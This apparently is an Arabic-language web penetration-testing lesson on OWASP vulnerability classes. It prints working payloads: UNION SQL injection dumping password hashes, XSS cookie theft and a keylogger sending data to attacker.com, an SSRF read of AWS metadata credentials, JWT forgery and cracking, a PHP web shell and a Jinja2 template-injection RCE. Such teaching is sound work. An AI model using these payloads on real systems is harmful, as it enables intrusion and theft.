Core Web Vulnerabilities — OWASP من شغل فعلي
SQLi و XSS و SSRF و IDOR و Auth — اللي بتقع فيها كل يوم
- المستوى
- خبير
- المدة
- 120m
- الترتيب
- الدرس 25 من 85
OWASP Top 10 — خريطة ثغرات الويب
إنت بتختبر تطبيق ويب. تبدأ منين؟
تجرّب كل payload في PayloadsAllTheThings؟
هتقعد سنة. وهتلاقي حاجة بالصدفة، لو ربنا كرّم.
1. SQL Injection — حقن قواعد البيانات
الكود الضعيف
$id = $_GET['id'];
$q = "SELECT * FROM users WHERE id = $id";
// المستخدم يرسل: ?id=1 OR 1=1 --
// النتيجة: كل المستخدمينالاستغلال خطوة بخطوة
?id=1 ORDER BY 1--+
?id=1 ORDER BY 5--+ ← خطأ يعني الجدول فيه 4 أعمدة?id=-1 UNION SELECT 1,user(),version(),database()--+
?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables--+
?id=-1 UNION SELECT 1,group_concat(username,':',password),3,4 FROM users--+2. Cross-Site Scripting (XSS)
أنواعها
- Reflected XSS — بترتد من اللينك على طول.
- Stored XSS — بتتخزّن في قاعدة البيانات. الأخطر.
- DOM-based XSS — كلها في الـ JavaScript على المتصفح، السيرفر مش شايف حاجة.
<script>fetch('https://attacker.com/c?d='+document.cookie)</script>
"><img src=x onerror=alert(1)>
javascript:alert(document.domain)
<svg/onload=eval(atob('YWxlcnQoMSk='))>سرقة الجلسة كاملة
(function(){
let buf="";
document.addEventListener('keydown', e => {
buf += e.key;
if(buf.length>40){
navigator.sendBeacon('https://attacker.com/k', buf);
buf="";
}
});
})();3. SSRF — Server-Side Request Forgery
سيناريو خطير على AWS
# الموقع يقبل URL لتحميل صورة
POST /api/import-image body: {"url":"http://example.com/x.png"}
# المهاجم يبدّلها بـ:
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role"}
# النتيجة: مفاتيح AWS مؤقتة كاملة!4. كسر الـ Authentication و JWT
هجمات بنشوفها كل يوم
- Credential stuffing — تجربة باسوردات اتسربت قبل كده على نفس الإيميلات.
- Password spraying — باسورد واحد شائع على آلاف الحسابات.
- كسر JWT — تغيير الـ algorithm لـ none، أو كسر الـ secret بـ hashcat.
# 1) alg:none bypass
{"alg":"none","typ":"JWT"}.{"user":"admin"}.
# 2) brute force HS256 secret
hashcat -m 16500 jwt.txt rockyou.txt
# 3) algorithm confusion RS256 → HS2565. IDOR — Insecure Direct Object Reference
تغيّر رقم واحد في الـ URL فتلاقي بيانات شخص تاني قدامك. أبسط ثغرة في الويب وأكترها انتشاراً.
GET /api/invoices/1042 ← فاتورتك
GET /api/invoices/1043 ← فاتورة شخص آخر! (لا يوجد فحص ملكية)6. File Upload + RCE
ترفع ملف .php أو .jsp متخفّي (shell.php.jpg) في مجلد بينفذ كود = اختراق كامل للسيرفر. قصة قديمة لسه شغالة.
<?php system($_GET['c']); ?>7. Deserialization & Template Injection
الفئة دي هي الأخطر على الإطلاق: تنفيذ كود مباشر لما الـ payload المصنوع يوصل لـ unserialize أو pickle.loads أو Java readObject، أو لمحرك قوالب بيقبل تعبيرات (Jinja2, Twig, Freemarker). لو مسكت واحدة منها = RCE فوري.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}الأدوات الأساسية للويب
- Burp Suite — الـ proxy اللي هتعتمد عليه يومياً.
- OWASP ZAP — البديل المفتوح المصدر.
- Caido — خفيف وحديث، شغل لطيف.
- sqlmap, wpscan, ffuf, gobuster, dalfox, kxss, gau, waybackurls.
غلطات الـ junior في اختبار الويب
الخلاصة الناشفة
الويب مش 1000 ثغرة — الويب 10 عائلات.
الـ Prepared Statements بتقفل SQLi.
الـ CSP الصارم بيقفل XSS.
الـ ownership check في كل request بيقفل IDOR.
كله معروف من 20 سنة. السؤال: ليه لسه بيحصل؟
لأن الـ engineers بيكتبوا code بسرعة، والـ security بيكتبوا تقارير بسرعة، ومحدش بيقعد يفهم الـ "ليه" من جذره.
اكتبها على ظهر إيدك: الـ payload مش هو اللعبة — الـ "ليه الـ payload شغّال" هو اللعبة.
علّمه علشان تفضل عارف انت فين على السكة.